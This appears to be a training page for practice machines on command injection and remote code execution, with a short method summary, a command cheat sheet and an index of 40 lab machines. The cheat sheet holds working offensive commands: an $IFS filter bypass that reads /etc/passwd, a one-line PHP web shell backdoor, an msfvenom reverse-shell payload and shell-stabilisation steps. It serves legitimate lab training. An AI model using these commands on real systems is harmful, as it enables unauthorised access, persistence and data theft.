Command Injection and RCE: practice machines and key commands

Command injection occurs when an application passes input to a system shell. Try separators such as ;, &&, |, backticks and $() after a legitimate value, and test blind cases with a sleep or an out-of-band request to your own listener. When spaces or specific characters are filtered, alternatives like ${IFS}, brace expansion and quoting tricks often bypass the check. Once you can run a command, prefer a short reverse shell or write a web shell, then stabilise the TTY before enumerating. Public remote code execution exploits for known CVEs follow the same pattern but usually need edits to the target address, payload or offsets, so read the code before running it. Identify the service version first, then match it to a trusted advisory. The machines here have a command execution foothold.

Key commands

Placeholders in braces, such as {TARGET_IP}, are values you fill in for your target.

Command Injection Space Filter Bypass ($IFS)

Bypass space character filtering in vulnerable web commands using bash internal field separator.

cat$IFS/etc/passwd

Minimal PHP Single-Line Backdoor

Lightweight PHP command execution backdoor for quick web root persistence.

echo '<?php system($_GET["cmd"]); ?>' > shell.php

msfvenom Linux x64 Staged Reverse TCP ELF

Compile standalone ELF reverse shell binary for x64 Linux target.

msfvenom -p linux/x64/shell_reverse_tcp LHOST={LHOST} LPORT={LPORT} -f elf -o shell.elf

TTY Interactive Shell Stabilization (Python + stty)

Upgrade dumb reverse shell to fully interactive pseudo-terminal with tab completion and arrow keys.

python3 -c 'import pty; pty.spawn("/bin/bash")'
# Press Ctrl+Z to background shell
stty raw -echo; fg
export TERM=xterm-256color
stty rows 38 columns 140

Keep going

• Methodology: Phase 05: Shell Stabilization & Context Triage
• Cheatsheet: Exploitation & Payloads
• Shells: Reverse shell one-liners

Command Injection and RCE machines (40)

5 of these are machines I solved myself and are listed first within each difficulty. Machines are matched by their technique tags. 33 Linux, 7 Windows.

Very Easy (1)

Easy (16)

Medium (12)

Hard (7)

Insane (4)

Related techniques